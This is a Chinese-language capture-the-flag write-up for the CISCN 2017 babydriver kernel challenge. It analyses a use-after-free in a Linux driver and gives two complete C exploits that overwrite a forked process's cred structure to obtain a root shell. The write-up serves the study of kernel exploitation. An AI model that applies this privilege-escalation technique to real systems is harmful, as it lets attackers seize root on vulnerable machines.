CISCN2017-babydriver

1.文件分析先仿真运行一下

会发现给的boot.sh有问题,没有装载klm模块好像好像

没开kaslr

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 64M \
--nographic \
-smp cores=1,threads=1 \
-cpu qemu64

开启smep,漏洞模块是babydriver.ko,然后就是root才可读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

2.仿真运行一下

1
2
3
4
chmod u+x boot.sh
./boot.sh
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

3.IDA分析

babyopen()

将申请的64位字节的堆地址赋给babydev_struct的device_buf,device_buf_len=64(size),这个是全局变量,没有设置任何保护措施,这就造成两个用户同时执行open(“/dev/babydev”,2)时会出现覆盖

像这样:

  1. 进程A:打开设备,分配堆块A
  2. 进程B:打开设备,覆盖指针指向堆块B
  3. 进程A:写入数据到”自己的”缓冲区(实际写入堆块B)
  4. 进程B:读取数据,可以看到进程A写入的内容
  5. 进程A:关闭设备,释放堆块B
  6. 进程B:仍然持有指向已释放堆块B的指针 → UAF
1
2
3
4
5
6
7
8
9
10
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0, 0x40);
babydev_struct.device_buf_len = 64;
printk("device open\n", 0x24000C0, v2);
return 0;
}

babyread()

正常输入,只要没超出size就好了

1
2
3
4
5
6
7
8
9
10
11
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4);
}
}

babywrite()

1
2
3
4
5
6
7
8
9
10
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4);
}

babyioctl()

babyioctl()只有一个分支(command),它先将babydev_struct.device_buf指向的堆块释放掉,然后根据用户态传入的arg参数申请任意大小堆块,并更新babydev_struct结构体中两个成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx

_fentry__(filp, command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0, v5);
}
else
{
printk("\x013defalut:arg is %ld\n", v3);
}
}

babyrelease()

close(fd)时候会调用,释放指针但是没有清空,有UAF

1
2
3
4
5
6
7
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}

总结一下:

  • 两个用户(fd1, fd2)可以指向同一个内核结构体
  • 用户1(fd1)可以为该结构体申请一个任意大小的堆块然后释放该堆块
  • 用户2(fd2)获得一个垂悬指针。

4.exp编写

修改cred(0)

fork()一个子进程时,内核会为cred分配0xa8大小的堆用于存放结构体内容。通常pid_t fpid=fork()的值>1

fpid<0,退出,fpid=0,执行该子进程if,fpid>0,有wait()先执行子进程,在执行父进程,也就是该进程

在子进程read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>

int main(){
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1,0x10001,0xa8);
close(fd1);
pid_t fpid;
fpid=fork();
if (fpid < 0) {
printf("error in fork!\n");
exit(0);
}else if (fpid == 0) {
printf("child pid is : %d\n",getpid());
char zeros[30] = {0};
write(fd2,zeros,28);
if(getuid() == 0){
system("/bin/sh");
exit(0);
}
}else {
wait(NULL);
printf("parent pid is: %d\n",getpid());
}
printf("%d: going to close fd2\n",getpid());
close(fd2);
return 0;
}

在父进程read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>

int main(){
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);

ioctl(fd1,0x10001,0xa8);
close(fd1);

pid_t fpid;
fpid=fork();
if (fpid < 0) {
printf("error in fork!\n");
exit(0);
}else if (fpid == 0) {
printf("waiting...");
sleep(3);
system("/bin/sh");
exit(0);
}else {
char zeros[30] = {0};
write(fd2,zeros,28);
wait(NULL);
}
close(fd2);
return 0;
}

5.获取新的rootfs.cpio

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
创建一个文件夹,并将rootfs.cpio放入

# 重命名文件以反映其真实格式
mv rootfs.cpio rootfs.cpio.gz

# 解压
gunzip rootfs.cpio.gz

# 然后解压 CPIO
cpio -idmv < rootfs.cpio
gcc exp.c -static -masm=intel -g -o exp
再将exp放入文件夹,记得将原先的rootfs.cpio删去
find . | cpio -o --format=newc > rootfs.cpio
得到一个新的rootfs.cpio,放回上一级文件夹

./boot.sh
./exp
id

结束!1762442330209

参考: 第一道内核pwn - CISCN 2017 babydriver | blingbling’s blog